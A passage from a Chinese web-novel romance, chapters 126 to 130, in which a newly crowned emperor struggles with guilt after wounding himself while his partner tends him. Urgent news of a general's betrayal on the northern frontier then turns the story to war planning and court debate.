苗霜一时间五味杂陈,他捏了捏对方的胳膊,对他道:“好了,冷静点。” 祁雁箍在他腰间的手慢慢松开,脱力般的晕眩上涌,让他忍不住身形晃了一晃。 苗霜急忙扶他坐回床上,安抚他道:“没事了。” 祁雁激烈的心跳终于慢慢缓和下来,他把苗霜抱到自己腿上,将脸埋在他胸前,轻轻蹭了蹭,干涩的喉间发出模糊的低语:“苗霜……我好难受。” 他拉起对方的手,放在自己胸前:“我不知道我是怎么了,我杀了那些人,我本该高兴,可我却只觉得于心有愧,我愧对家人,愧对被我牵连的官员,愧对雁归军……不,都不是,不是他们……我知道我问心有愧,可我却不知道我究竟愧对于谁!” 许是失血的后遗症还没过去,他说话也有些颠三倒四的,说着竟红了眼眶:“你知不知道,我用那把剑刺伤我自己时,我竟觉得好痛快,那一瞬间我觉得舒服了许多,就好像……好像它本该在这儿。” 心脏剧烈的绞痛被尖锐的刺痛贯穿时,二者相抵,他竟觉得不疼了。 如影随形的负罪感也因此减轻了许多,那滋味甚至让他有些着迷。 他指着自己心口,抬头看向苗霜,他眼中满是血丝,黑眸因蒙上潮意而显出些许脆弱,他看起来像要流泪,唇角却在上扬,以至于让那张面容变得不太协调:“真的。” 苗霜皱了皱眉,一把拽开了他才刚穿好的衣服,视线下落时,他目光一凝。 剑痕贯在心口,伤口已经结痂,窄窄的一道,一寸之长。 在祁雁被蛊虫修复得完好无损的身躯上,这道剑伤显得格外刺眼。 先前他竟没留意,这伤口的位置…… 似乎和当年他强迫祁雁捅他的那一剑一模一样。 第127章 第 127 章 已经不疼了。 苗霜一时间有些无法描述自己的心情。 或许他依然低估了那一剑给祁雁留下的阴影, 明明已经没有记忆,却还是记得自己亏欠了什么人。 像是已经刻进了血肉和骨骼,刻进灵魂深处, 成为身体的一部分,超越了记忆, 成为本能。 他微不可闻地叹了口气,第一次感到心中酸楚, 成为魔尊以后,他已经鲜少会有这样的情绪,心疼什么人,怜惜什么人,爱护什么人……那仿佛已经成为无比久远的过往,被遗忘在了漫长时光的尽头。 那该是属于苗落晚的,而不属于苗霜。 但此刻他却有些分不清他们之间的界限,他甚至想唤一声鸣川师兄,想告诉他自己还在。 苗霜张了张嘴, 却终究没能将这声师兄叫出口,只伸手轻轻覆住祁雁心口上的伤痕, 对他道:“你并不愧对任何人。” 祁雁似乎不相信这句话,本能地想要摇头,苗霜却用双手捧住了他的脸,迫使他抬头看向自己。 祁雁想要挣扎,身体却没有一点力气,终于他放弃了, 神色近乎绝望地看着眼前的人,只看到那张面孔迅速放大,阴影覆盖上来。 而后, 唇上一软。 祁雁身形顿住,他知道苗霜在亲吻他,却一时忘记了该如何回应,只感到轻柔的吻覆上唇瓣,灵巧的舌掠过唇缝,温热和潮湿一点点侵入进来,像是无法抗拒的渗透。 他从不知道苗霜还会用这样温柔的方式吻他,简直像在哄一只受惊的动物,他在那湿润的唇舌间感受到了某种名为安抚的东西,顺着亲密无间的舔|弄渐渐融入他的血脉。 心中萦绕不去的缺失感似乎正在被填满,一滴一滴,随着心脏的搏动渐渐汇聚成湖泊,连带着伤口的痛楚也被渐渐抚平,他整个人像是浮在热水当中,身体变得不再沉重,意识也慢慢融化在了水里,他闭上眼,感到前所未有的轻松和舒适。 苗霜小心地让他把脑袋靠在自己肩头,轻轻捋着他的后颈,感受到他的呼吸逐渐变得平稳,环在自己腰间的手臂也开始松懈。 又维持这个姿势坐了好一会儿,确定他真的睡着了,苗霜才从他身上起身,扶着他在龙榻上躺好。 祁雁没醒过来,苗霜给他盖好被子,看着他眼底隐约可见的青痕,叹了口气。 这几天这家伙一直都没怎么睡觉,纵然内功深厚精力充沛,却也经不住这么消耗。 苗霜坐在床边守了他一会儿,感觉到有人接近。 是范青书。 对方停在屏风外,放轻了声音:“陛下可好些了?” 苗霜不想吵到祁雁睡觉,便把范青书叫出屋外,对他道:“伤不要紧了,但人需要休息。” 范青书点了点头:“大臣们那边已经安抚住了,不过需要处理的事情还有很多,若大巫不反对,我便按照陛下的旨意继续吩咐下去。” 苗霜“嗯”了声:“你去办吧。” “有些事还须陛下亲力亲为,我所能行之事有限。”范青书又提醒。 “……知道了。” 范青书便要离开,才转过身,又忽然停下脚步,轻声道:“我能理解陛下,有时候太恨自己,便欲以死谢罪,希望陛下能快些好起来。” 苗霜看着他离去的方向。 太恨自己? 可那明明不是他的错。 或许当初,他不该那样逼他。 * 祁雁这一觉睡得极沉,竟直接睡到了第二天早上,天还没亮,他忽然睁开双眼。 “什么时辰了?”他问。 “回陛下,寅时末,”明秋轻手轻脚地凑过来,“今日朝参可要推掉?” “不必。”祁雁坐起身来,却忘了身上有伤,这一动牵连到伤处,让他克制不住地发出几声闷咳。 他急忙压制住了咳嗽,但这点动静还是吵醒了苗霜,身边的人翻了个身,迷迷糊糊看向他:“祁雁?” “没事,夫人再睡会儿吧。” 祁雁说着起身,苗霜望着他的背影,皱了皱眉。 奇怪,一整天过去了,这伤居然还没好吗? 洗漱更衣完,天也蒙蒙亮了,刚过卯时,祁雁来到前殿会见朝臣。 大景依然延续了大雍的传统,每月朔日、望日在宣政殿举行朝会,九品以上官员都要参加,其余时间则在紫宸殿进行常参,仅五品以上和一些特定官员参与,人数少了许多,也不摆仪仗,一切从简。 自从昨日皇帝发疯在大殿上捅了自己一剑之后,大臣们纷纷猜测他今天还能不能上朝,可一直也没等到朝参取消的消息,只能一切照旧。 卯时一刻,大臣们陆续到齐了,众人一入阁,看见已经坐在那喝茶的天子,不禁你看看我,我看看你,怀疑自己是不是真的见了鬼。 哪有人被一剑捅穿心脏还能活的! 昨天太医告诉他们说皇帝没事了,他们还以为是权宜之计,没想到……居然是真的? 有胆子大的开口询问道:“陛下,您……没事了?” “我能有什么事?”祁雁抬头瞥他们一眼,“别站着了,坐吧。” 臣子们纷纷就坐,缺了谁少了谁一目了然,除了昨天被祁雁处理的人员中有几个还没能及时填补新的,还少一个人。 “御史大夫呢?”祁雁问。 “陛下,朱大人今日告假了,说挨了二十板子,屁股疼得走不了路,”在旁侍候的小太监向他递来太医开具的诊方,“已向太医院核实了。” 祁雁瞄了一眼,摆摆手示意他拿走:“知道了,通知他明天务必来,走不了路,那就让人抬来。” “是。” 朝臣们不禁有些幸灾乐祸,陛下被捅了一剑今天都还照常上朝,朱成功只是挨了二十板子,据说昨日执刑时,特意按照陛下的旨意“从轻发落”,板子打得并不重,竟还敢因伤告假。 新朝初立,诸事繁杂,从今日起就算是步入正轨了,朝参一直持续到辰正才散,祁雁离开前殿,回到后寝。 苗霜也哈欠连天地起床了,尚食局送来御膳,祁雁看了眼这一桌子的菜,不禁皱起眉头:“怎么又做了这么多?不是说了,够吃就行?” 进宫第一天他就被季渊的铺张浪费震撼住,一顿早饭要吃百十道菜,平均下来一道菜还吃不到一口,民间许多人连口糙米都吃不上,皇宫里却在拿这些珍贵的食材雕花。 自幼在军营中长大的祁雁对这种行为反感至极,勒令尚食局不准再把菜做成让人吃不起的样子,早饭不得超过八道,午饭不得超过十六道,这些菜他和苗霜吃完,再给侍候的下人们分,基本上刚好够吃。 前来送膳的小太监听到他嫌菜做多了,吓得跪在地上:“奴婢该死!” 明秋忙道:“是奴婢自作主张,见陛下昨日一天没吃东西,便让尚食局多准备一些,但他们好像误解了这个‘一些’……” 祁雁头疼地按了按眉心:“行了,起来吧,又没说要罚你们,把这些做多了的,趁热给那些还没走的臣子们送去。” “是。” 小太监们迅速打包了食盒,祁雁并没什么胃口,草草喝了碗粥便欲离席。 苗霜忽然开口:“站住。” 祁雁停下脚步。 “吃这么少,你想饿死?”苗霜强行把他叫了回来,“坐下。” 祁雁犹豫片刻,还是只得坐下,重新拿起了筷子,却不知该从哪里下筷,半晌又放下。 “我陪着夫人吃。”他道。 很显然他是打算苗霜吃着他看着,但苗霜偏要曲解他的意思,夹了一只煎饺,蘸了点醋,送到对方嘴边。 “我……”一个“不”字还没出口,那只煎饺已经趁他张嘴强行塞了进来,祁雁迫不得已,咬了半个,这才能继续说话,“真的不饿。” 苗霜又蘸了点醋,吃掉剩下半个:“不是说要陪我吃饭吗,怎么,皇帝还敢食言?” 祁雁:“……” 他看着递到嘴边的第二个煎饺,一时有些恍惚,往常都是他吃苗霜剩下的,苗霜还从来没吃过他剩下的。 而且,苗霜居然主动给他喂饭。 沉郁的心情突然便好过了一些,他盯着苗霜,想看看这没耐心的苗人究竟能坚持多久,不知不觉,一整盘煎饺竟被他们分完了。 明秋撤下空盘,苗霜又换了一盘蒸蟹卷喂,祁雁一口他一口,很快又分完了。 再接着是牛乳酥,这时祁雁才回过神来,为难道:“真的吃不下了,夫人。” 苗霜其实也吃饱了,但为了给某人多喂几口,他也只好勉为其难地多吃了几口,此时放下筷子,又给祁雁碗里添了一勺粥:“喝完就走吧。” 祁雁:“……” 虽然已经吃不下了,但夫人给盛的,不喝不好吧…… 最终他还是只能喝完了粥,这顿早饭吃了太长时间,他急急忙忙去干活了。 苗霜又把剩下的几道菜尝了尝,没什么爱吃的,便撂了筷子,让明秋他们来吃,自己洗了手,找到祁雁,对他道:“把你的伤给我看看。” 祁雁已经在埋头翻阅今日的奏折,闻言抬头:“不必了吧。” “快点。” 祁雁只好解开衣襟,露出胸口。 剑伤竟没消失。 一天过去,血痂已经脱落,但那道红痕还在,这让苗霜不禁皱起眉头,伸手在伤口上摸了摸,依然有一些凹凸不平的触感。 怎么回事…… 就算心脏上的伤没那么容易好,但这皮肤上的损伤早该痊愈了才对,这些蛊虫难道没好好干活吗? 他正准备仔细探查一下,祁雁却忽然反扣住他的手:“不必了,夫人。” 他冲苗霜笑了笑:“已经不疼了。” 第128章 第 128 章 山雨欲来。 苗霜看着他这笑容, 总觉得十分怪异,上下将他打量一遍:“你……真的不要紧吧?” “为什么这么问?”祁雁似是不解,“伤真的没大碍, 夫人难道信不过自己的医术?” “我不是说伤,我是说昨日……” “昨天是我一时冲动, ”祁雁垂了下眼,复又抬起, “但现在已经好过多了,让夫人担心是我不好,看在我重伤初愈的份上,就放过我吧?” 苗霜看着他的眼睛,那眼神倒是十分真诚,可他还是不太放心:“若再有下次……” “绝对不会,”祁雁做出承诺,“朕一言九鼎。” “……哈。”还“朕”上了。 苗霜一扯嘴角:“刚刚不知是谁说要陪我吃饭却差点食言,现在又说自己一言九鼎。” 祁雁顿觉冤枉:“最后难道没吃吗?” 苗霜冷哼一声, 听他又道:“我都已经陪夫人吃饭了,夫人是不是也该陪我看看奏折?” “……你想得美。”苗霜转身就要走, 却被他一把拉了回去。 祁雁的胳膊箍在他腰间,将他强行扣在了自己腿上:“又没让你帮我出主意,只是坐在这里陪陪我也不好吗?” 苗霜想去抠他的手,没抠动,听着他略带恳求的语气,终究是动了那点恻隐之心:“半个时辰。” “好, 就半个时辰。” 明秋帮忙研了朱砂墨,祁雁用笔蘸了,在奏折上落下朱批。 苗霜看着他批, 没看一会儿就开始打哈欠,折子上密密麻麻的小字催眠效果不要太好,越看越困。 趁祁雁去拿东西,将胳膊从他身上移开的功夫,苗霜迅速站起身来:“我突然想起今天还没喂蛊虫,我先走了,你慢慢批。” “……夫人?”祁雁试图叫住他,“还没到半个时辰呢,夫人?” 苗霜头也不回地快步离开。 待他走了,祁雁垂下眼帘,面上的笑意慢慢淡去。 * 所谓吃人嘴软拿人手短,被赏赐了御膳的几个大臣干活都格外卖力起来,而其他因为早早离去和御膳失之交臂的臣子们则痛心疾首,第二天朝参结束后,不约而同地在皇宫里多逗留了一会儿,看看皇帝还赏不赏饭吃。 御史大夫也一瘸一拐地来上班了,虽然不知道同僚们在等些什么,但也凑热闹跟着等了一会儿,直等到饥肠辘辘才散去。 一连数日没等到皇帝赏饭的大臣们终于放弃了,这御膳可遇不可求,还是老实干活为妙。 大臣们忙,祁雁更忙,太多的事情要处理,在战事中阵亡的将士们,送他们的遗骨回家要安排人去做,范阳和河东节度使要赏,定了罪的官员们该抄家的抄家,该流放的流放,天下各地的灾情要赈……诏令一封接一封地下达,三省六部九寺五监,一个都别想闲着。 刚从贪官污吏家里抄来的银子,还没捂热乎,又如流水般花了出去,国库别说充盈了,只够勉强周转。 一连处理了数日季渊留下的烂摊子,祁雁都有些精神恍惚,忙起来晨昏不辨,饭都快没时间吃了,更别提和苗霜亲热。 他不禁有些愧疚,说是要带夫人进宫享福,但其实他根本顾不上他。 好在苗霜也忙,忙着培育他的蛊虫大军争取早日攻占京都,一时半会儿也折腾不完。 这日,祁雁好不容易得了些空闲,开始细细复盘还有什么事情没做,最首要的自然是民生问题,拨下赈灾款只是暂缓燃眉之急,治标不治本,就算京中官员在他的强压下暂时不贪了,地方官员该贪还是得贪,而这些年来各地节度使几乎自立为王,京都对地方的管控已经削弱到了极点,搞定不了他们,就别提政策落实,遑论打压权贵救济百姓。 想从根源解决,唯有将已经散出去的权力收回来。 但这又谈何容易。 没人会愿意将已经吃到嘴的东西再吐出去,即便是范阳,即便是剑南。 这是个大工程,牵一发而动全身,短时间内不可能完成。 祁雁叹口气,准备暂且缓缓再说,几道节度使刚帮完他,他就要削弱人家的势力,未免有些太不厚道。 于是他放下了这桩事,准备换换脑子,先做点别的。 大景内部暂时算是安稳下来了,别管能安稳多久,至少够他喘口气,那么接下来该考虑的,就是外患了。 狄历的存在始终是根刺,而今中原换帝,他们不可能没动作,去年因狄历天灾给大雍争取到了一线生机,今年总不会还这么好运。 消息传到狄历,狄历再集结兵马,不会太快也不会太慢,大概一两个月的时间,他得早做准备了。 首先,他得换掉雁归军目前的将领,也就是金孝仁这个草包。 但用谁来顶替他好呢…… 这几年朝中将领被季渊砍了又砍,季渊自己都无人可用了,他自然更加无人可用,手下虽有几个可塑之才,却都是二十出头的年轻人,还须磨练。 雁归军中倒是有几个能堪重任的,可他现在却不清楚军中情况,也不知道他们究竟如何了。 或许……是时候叫赵戎回来汇报一下了。 祁雁揉了揉眼。 不知为何,他今天总觉得有些心慌,眼皮也一直跳。 是昨晚没睡好吗…… * 一匹快马正沿着驿道疾驰。 马背上的人不知已经不眠不休地狂奔了几天,两只眼睛里全是血丝,满脸脏污,也不知是血是泥,几乎辨不清原本的样貌。 身上穿着的衣服像是在血里泡过的,又被风吹干,一只手臂上护甲断裂,破损处露着已结了血痂的伤口。 他手里攥着一卷不知是什么的东西,看到出现在视线中的驿站轮廓,立刻嘶声高呼:“边关急报!速速换马!边关急报!速速换马——!” 驿卒被惊动,急忙为他牵来喂养好的马匹,那人一勒缰绳,座下早已到了极限的马便前蹄一软,摔倒在地。 马背上的人也被摔下了马,几乎是凭借着本能就地一滚,又踉跄着爬了起来,拽住新马的马缰,强行将自己拉上马背,继续沿路狂奔。 而身后那匹倒地的马已是口吐鲜血,抽搐着断了气,驿卒想要抢救都来不及,他上前一步,试图将马尸拖离驿道,这一看之下,却是心惊胆战。 马鞍上全部是血,凝固的血和新鲜的血混合在一起,已经看不出原本的颜色。 驿卒回头看向那即将消失在视线尽处的一人一马,艰难咽下一口唾沫。 要变天了。 * “边关急报,拦路者死!” 快马一路冲进京城,马背上的人声音更嘶哑了,嘴唇开裂流血,已是喊破了音。 正走在大街上的百姓一阵惊呼,急忙避让,好几个都差点被马撞到。 “边关急报!拦路者死!” 他已然顾不得在京城内策马狂奔是不是会伤到人,事实上他已经不太能看得清了,连续数日不眠不休早已让他的身体到了极限,除了一定要将战报以最快的速度送抵京都的意志在支撑,别无其他。 快马终于在皇宫门口被拦了下来,他跳下马背,或者说摔下马背,这一摔便再没能爬起来,只艰难地将手里的东西递向门前值守的禁军,嘶哑的嗓子快要说不出完整的话:“我要见陛下……见陛下……快……” 禁军立刻上前搀扶他,并接过了战报,几经传递,最终由小太监疾跑着送进了皇帝办公的紫宸殿。 祁雁只感觉眼皮跳得更厉害了,正准备找苗霜来给他瞧瞧,就听到小太监惊慌失措的声音:“陛下!边关急报!” 祁雁身形一顿。 他难以置信地回过头来,只感觉心头咯噔一声,不祥的预感迅速攀升:“何地战报?” “塞、塞北!” 祁雁接过小太监递来的东西,那是一卷破破烂烂的羊皮,像是从什么地方匆匆割下来的,上面攥着数不清的血指印子,打开来,内中只有一个用血书成的字。 救。 祁雁看见那个字,只感觉浑身血液在往脑袋上冲,嗓音不住地有些颤抖:“何人送来的战报?!” “在、在殿外!” 祁雁御起轻功,一个闪身便出了大殿,外面,禁军也搀扶着那个送信的人往这边走。 说是搀扶,不如说架着更为妥当,那人一条腿似乎是伤了,一步一踉跄,在皇宫内洁净的青石路面上留下一串沾血的脚印。 他看到正朝自己接近的身影,几近昏厥的头脑又短暂地清明了些:“将军!” 祁雁一眼甚至没认出那是谁,直到听见他的声音:“赵戎?!” “将军!”赵戎猛地向前扑了一步,一把抓住他的手,没了禁军的搀扶,他直直跪倒在地。 祁雁忙用内力托了他一把,才没让他跪碎一双膝盖,就见对方那双血红的眼睛死死盯着自己:“金将军……通敌叛国!与狄历合谋……诱杀……雁归军……几乎……全军覆没!!” 祁雁:“……” 他脑子里轰的一声,几乎不敢相信自己的耳朵:“你说……什么?” “将军!”赵戎口吐鲜血,用尽全身力气抓住他的手腕,“漠南已失!还请将军……速速……支援!” 第129章 第 129 章 四面楚歌。 “不……这不可能, ”祁雁难以接受这个消息,“金孝仁虽然是个草包,却对季渊绝对忠诚!” “……” 他的声音戛然而止, 像是忽然之间明白了什么。 对季渊绝对忠诚,现在季渊死了, 所以就背叛大景,投奔狄历? 荒谬……荒谬! 他只感觉浑身气血翻涌, 一口腥甜滚到了喉间,难以形容的悲愤冲得他头脑发晕,身形不受控制地晃了一晃。 候在身旁的小太监惊呼一声:“陛下!” 祁雁用力合了合眼,强行咽下涌到喉头的血,心口才愈合的伤处又莫名疼了起来。 他艰难稳住身形使自己不至于摔倒,忽觉扣在腕上的力量正在松懈,赵戎终于支撑不住了,眼神开始涣散:“我带着……剩下的兄弟……逃出来,六千人……不到……全部退守……鹿鸣塞……狄历……二十万……将军, 快……” “赵戎!”祁雁一把扶住将要倒下的人,头脑也因此而再次清明起来, 他蹲下身,将指尖贴在他颈侧。 糟了。 扶在赵戎后背的手摸到满手潮湿,一看之下竟发现全都是血,对方身上的衣服被血浸透了一层又一层,也不知是别人的还是他自己的,一时竟分辨不出伤在何处。 祁雁匆忙点了他的穴道止血, 又用内力帮他护住心脉,对小太监道:“快去叫大巫!” 吓坏了的小太监如梦方醒,匆匆跑开, 祁雁把赵戎放在了附近的树荫底下,以免他被夏日午后的太阳烤成人干,又吩咐道:“去取些温水来,加盐!” 太监很快端来了淡盐水,祁雁让他帮忙扶着赵戎,自己将水碗喂到赵戎嘴边,然而人已经昏迷,完全喂不进去,他又强行捏开他的下颌,用内力帮他把水顺进去。 勉强喂下两碗,苗霜也赶来了,看到地上倒着的人,愣了一下才认出那是赵戎,也没多问别的,立刻开始施救。 他掏出随身携带的骨刃,割开对方身上的衣服,然而布料粘在伤口上,已与皮肉长为一体,传来浓重的血腥气和隐隐的腐臭味道。 苗霜皱了皱眉,先给他塞了颗保命的药丸:“这样不行,先把他弄进屋里。” 祁雁:“我来。” 赵戎被安置到了最近的一间屋子,太监们进进出出地忙碌着,烧水的烧水,送药的送药,苗霜喊来明秋帮忙,用水润湿了赵戎身上的衣服,折腾许久,才算把那些被血和泥腌透的破布剥离下来。 赵戎身上放眼望去已经没一块好肉,刀伤深可见骨,又因天气炎热,连日奔波耽误了治疗,许多伤口开始溃烂感染,很难想象他这些天究竟经历了什么。 姜茂得到消息,匆匆赶来,平素里头脑镇定的人此刻也不镇定了,不敢去打扰苗霜,只得询问祁雁,焦急道:“将军,他怎样了?” 祁雁的视线落在他身上,又好似穿过了他落在虚空中,姜茂许久未得到回应,才发现对方的脸色似乎比躺着的那个还难看,他只得将音量稍稍抬高了些,又唤道:“陛下!” 祁雁猛地回过神来。 散落的视线终于重新聚焦,他看清了眼前的人,慢慢吐出一口气:“你来了。” 姜茂不禁有些担忧:“将军,您还好吧?” 来的路上,他已经听说了金孝仁通敌叛国的消息,雁归军八万兵马几乎全军覆没,这对才刚刚安定下来的大景来说,无异于晴天霹雳。 更何况……那是祁家世代训练出来的精兵,对祁雁来说,情同手足。 为了保住这支军队,保住北境,他甚至甘愿卸任统帅之职,独自对抗季渊,哪怕是起兵夺权,也不肯动雁归军一兵一卒。 可万万没想到,最终,竟折在了大雍自己的将领手里。 千算万算算不到金孝仁会通敌叛国,千辛万苦想要保下的军队,在那混账眼中竟是可以随意抛弃,随意拿来报复的工具。 他不敢想象祁雁此时的心情,只觉得自己好像看到了即将崩塌的危楼。 “……我没事。”祁雁笑了笑,或许他自己也不知道他为什么要笑,更不知道自己的眼圈此时是红的,他缓缓走到盥盆前,想要洗去手上的血迹,可这短暂的几步路竟是如此漫长,他的脚步很重,意识却很轻。 血散在水里,搅碎了浮在水面上的倒影,或许只要他不去看自己此时的样子,就能伪装成一切都好。 毛巾拭去了手上多余的水,不知为何,这毛巾竟抖个不停,他慢慢将它搭在了盆架上,动作迟缓得不像他自己。 “姜茂,你跟我来。”他道。 姜茂扭头看了一眼还在忙碌的苗霜,至少他没停下救治,那就说明赵戎还没死,他留下来也帮不上什么忙,只能添乱。 太监们小跑着进出房间,送进清水,端出血水,姜茂深吸一口气,移开眼睛不忍再看了,跟着祁雁来到前殿。 军事布防图在桌子上铺开,整个大景版图一览无余,祁雁拾起一枚小旗,放在了鹿鸣塞的位置:“鹿鸣塞常驻兵力三千人,加上剩余的雁归军残部,不足一万人。” “狄历二十万大军已控制漠南,鹿鸣塞镇守着跨越阴山最便捷的沟谷,鹿鸣塞破,阴山必失。” “狄历若夺阴山,控制河套,便可取秦古道南下直取渭城,渭城与晏安,一水之隔。” 姜茂听着他愈发颤抖的声音,忍不住道:“将军……” “西蕃虽然近些年来跟我们井水不犯河水,但西蕃觊觎陇右已久,若我是西蕃国君,便趁狄历与大景交战,乱中插上一脚,率大军冲断河西走廊,若河西失守,陇右与大景断联,便成西蕃囊中之物,唾手可得。” “河西一断,西蕃和狄历间的屏障消失,两国接壤,或为陇右开战,但更大的可能是二者联合攻取大景。” 红色的小旗接连落在地图上,姜茂看着,只觉心惊胆战,现在的大景简直是四面楚歌,腹背受敌。 而祁雁竟然还没说完。 他又将视线落向西南:“之前南照阴谋败露,被迫退兵,必定不会善罢甘休,黔地地势复杂易守难攻,且没什么油水可捞,没有苗疆款首相助,他们恐怕会选择直攻剑南,而今蜀地富庶,西蕃也未尝不想要,剑南和陇右,他们会选哪边?” 祁雁忽然抬起头来,看向姜茂,姜茂稍加思索,道:“依我看,攻占陇右利益更大。” “或许他们也可以兵分两路,”祁雁将小旗放在剑南,“支援一些老弱病残给南照,让南照出力攻打剑南,自己坐收渔利,若成自然最好,若败也不过是及时撤兵。” 姜茂点点头:“有道理。” “如此看来,西蕃若将主力放在河西,则剑南压力最小,消息传递也需要时间,西蕃先动而南照后动,鹿鸣塞最危,河西走廊次之。” “务必守住鹿鸣塞,退狄历之兵,若输一步,满盘皆败。” 祁雁深深吸进一口气,闭上眼睛。 “京中可调配禁军十六万人,朔方已全军覆没,残兵不足一万,陇右驻军八万,剑南四万,狄历二十万大军,西蕃兵力或在二十到三十万之间。” “京中不可无人镇守,做多可调出八万兵力,取两万骑兵走秦古道,以最快的速度支援鹿鸣塞,而今并非狄历南下最佳时节,从他们得到消息至今最多不超过半个月,仓促集结兵马,粮草一定不足,只能打突袭战速战速决,一旦鹿鸣塞守住,久攻不下,他们只能退兵。” 祁雁又拿了蓝色旗子,放在地图上,与红色旗子相碰:“步兵稍后跟上,取两万继续支援鹿鸣塞,其余四万兵马前往河西,而今范阳和河东的十万大军应该还没回到驻地,即刻传令让他们派出军中所有骑兵支援塞北。” “兵马汇合之后夺回漠南,狄历兵败,若西蕃不傻会直接退兵,若不肯退兵,我们也有余力支援。” 地图上的旗子几经变换,刚刚还四面楚歌的局势又迅速挽回。 “至于剑南……”祁雁思索片刻,“剑南兵虽不多,但彭鸿飞手下不缺将领,新兵都让给我了,精兵他自己留着,上次又给他添了些钱粮,现在正是兵强粮足,这一仗便让他自己搞定。” 姜茂:“……” “不过,若南照调集全境兵力孤注一掷,或西蕃不取陇右而取剑南,还是有些危险,稳妥起见……只能麻烦大巫跑一趟了,山地作战,大巫最为擅长,能调动苗民来帮忙最好,此战得胜,我也好以此为由将黔中赏给他们。” 祁雁说着抬起头来:“姜茂,你随大巫跑一趟,你和剑南节度使熟识,一切计划由你负责沟通。” 姜茂沉默了下:“就我和大巫两个人吗?” “还不够吗?大景已经无兵可调,告诉彭鸿飞,此番他若守住剑南,我便保他一辈子平安富贵。” “明白了。” 祁雁捏了捏眉心,已是头痛不已:“这般局势,最重要的或许已经不是兵力,而是将领,兵力勉强能凑出来,将领要去哪找……” 他扬声唤道:“范青书。” 范青书出现在门口:“在。” “去召集各部官员,让他们速速进宫议事。” 第130章 第 130 章 你就不怕我不回来了?…… 苗霜给赵戎包扎完最后一处伤口, 长舒一口气。 明秋端来水盆,苗霜仔仔细细洗净手上的血,顺便把染成红色的骨刃也洗了洗。 姜茂来到他身边, 轻声问:“他怎样了?” “命暂时是保住了,”苗霜擦干手上的水, “但伤口感染严重,我已帮他剔去腐肉, 放掉污血,但愿不会继续发展,否则的话……只能看他造化了。” 姜茂垂下眼,看向病榻上昏迷不醒的人。 他怎么也没想到,一别数月再次见到赵戎会是以这样的一种结果,早知如此,他跟随陆暄入京以后就不该停留,应该直接回塞北去。 然而世上并没有后悔药卖,他只能对苗霜道:“大巫辛苦了。” 若是连大巫都救不回的人, 那只能说明他命数该绝。 “药煎好了吗?”苗霜问。 明秋端来药碗:“已煎好了。” “赶紧给他喝下。” “是。” “大巫,”姜茂又道, “陛下请您过去。” 苗霜诧异回头:“请我?去哪儿?” “去前殿议事。” 苗霜:“……” 怎么,祁雁手下是没人可用,要把他也搬上战场了? 沉默片刻,他道:“走吧。” 两人来到议事厅,被祁雁急召入宫的官员已经陆续赶来,桌子上铺着一张图幅巨大的军事布防图, 祁雁正坐在桌边,看着地图一语不发。 皇帝不说话,臣子自然更不敢说话, 本就沉重的气氛变得更加诡异,配合今日炎热的天气,某些体型富态过头的官员已经开始汗流浃背。 祁雁很快注意到了苗霜的到来,冲他点了下头,示意他坐到自己身边。 苗霜挨着他坐下,视线在他身上扫了一圈。 祁雁看起来一切如常。 越是正常反而越不正常,发生了这么大的事,但凡是个人都不可能内心毫无波动,表面看起来越平静,越说明内心正压抑着惊涛骇浪。 就像是暴风雨前令人窒息般的宁静。 苗霜收回视线,什么都没有说,当着这么多大臣的面,祁雁必须得维持镇定,谁让他是皇帝。 官员们终于到齐了,围着这张铺着军事布防图的大桌子,一侧是文官,一侧是武将。 祁雁以最简洁明了的方式分析了当前局势,抬起眼帘:“现在最缺的是带兵之将。” 他说着看向左手边的文官:“诸位可有人选举荐?” 文臣们交头接耳,商量许久却也商量不出个所以然,谁不知道季渊因为疑神疑鬼把朝中武将砍了个七七八八,但凡有些建树的,坟头草都三尺高了。 祁雁又看向右手边的武将:“诸位可有人自告奋勇?” 这些武将们几乎都是些年轻面孔,平均年龄至少比文臣们小二十岁。 年轻小将们刚被提拔上来,在这位置上屁股都没坐热乎,哪里有领兵打仗的经验,你看看我我看看你,一时间谁也不敢开口。 终于,有人猛地站起身来:“陛下,我愿领命!” “魏小将军,”祁雁丝毫不意外第一个起身的是他,“而今兵分三路,一路驰援塞北,一路前往河西,一路驻留京中——魏小将军想选哪一路?” “我愿率兵驰援塞北,守住鹿鸣塞,夺回漠南,把那些该死的狄历人杀回老家去!” “我觉得可行!”一个文臣站起身来,附和道,“魏将军虽然年轻,但作战经验丰富,也算是随陛下南征北战,退过南照,冲过先帝兵马,战功赫赫啊!” 官员们纷纷表示认可,祁雁却意味不明地笑了下:“魏将军,你骑术如何?” “我会骑马!”魏然道,“我自认为……还行。” “那我问你,你在剑南节度使麾下多年,剑南总共多少骑兵?” 魏然愣了一下,不太明白他为什么突然问这个,回答道:“不足三千。” “那你可知朔方雁归军有多少骑兵?” “这……”魏然挠了挠头,“不知。” “朔方兵力八万,三成皆会骑马作战,全盛时期,拥有战马两万八千匹,”祁雁道,“你可知,为何会有如此夸张的骑兵比例?” 魏然咽了口唾沫,没由来有些紧张:“因为……狄历是游牧民族,擅长马战。” “不错,”祁雁指向地图,“出了阴山,便是广袤的漠南草原,骑兵在这样的地形下拥有极其显著的优势,魏小将军,你可知如何在草原上打仗?” 魏然有些尴尬:“我……没打过。” “我相信你能守住鹿鸣塞,但你若想将狄历人逐出漠南,恐怕没那么容易,就算夺不下关中,他们也不会轻易放弃漠南这片水草丰茂的土地,漠南的气候环境对他们来说就是天然的放牧场。” “我明白了,陛下。”魏然坐了回去。 祁雁再次看向众人:“还有谁愿毛遂自荐?” 这下年轻小将们更加没话可说了,连魏然都不行,他们这些连关中都没离开过的,去草原上等着被狄历人戳成筛子? 姜茂其实很想开口,但祁雁已经把他派去了剑南,很明显,塞北一战祁雁不想让他参与。 他也深知自己断了一臂,战力已经大打折扣了,尤其是在马背上,他现在没法拉弓,只能用弩,然而弩虽好用,上弦却难,在平地他还能用脚拉弦,在马背上怎么上? 至于赵戎……能不能活下来还不好说呢,就算能,他那性子也只能当个士兵,当不了将领。 官员们面面相觑,竟拿不出一点主意。 祁雁叹了口气:“既如此,那看起来只有一条路可走了——朕御驾亲征。” 此言一出,官员们顿时大惊失色,兵部尚书匆忙起身:“陛下三思!而今大景局势初定,您就远赴塞北,只怕……只怕京中无人,后方将乱啊!” “那你说如何?”祁雁已有些不耐烦了,“放眼朝野内外,还能找出比朕更熟悉塞北的人吗?” “这……这……”兵部尚书额头滑下冷汗,“可臣还是觉得……” “不如,杨大人你去如何?” 杨尚书一听,直吓得跪在地上,肥胖的身躯仿佛快要融化:“臣……臣不懂打仗啊!” 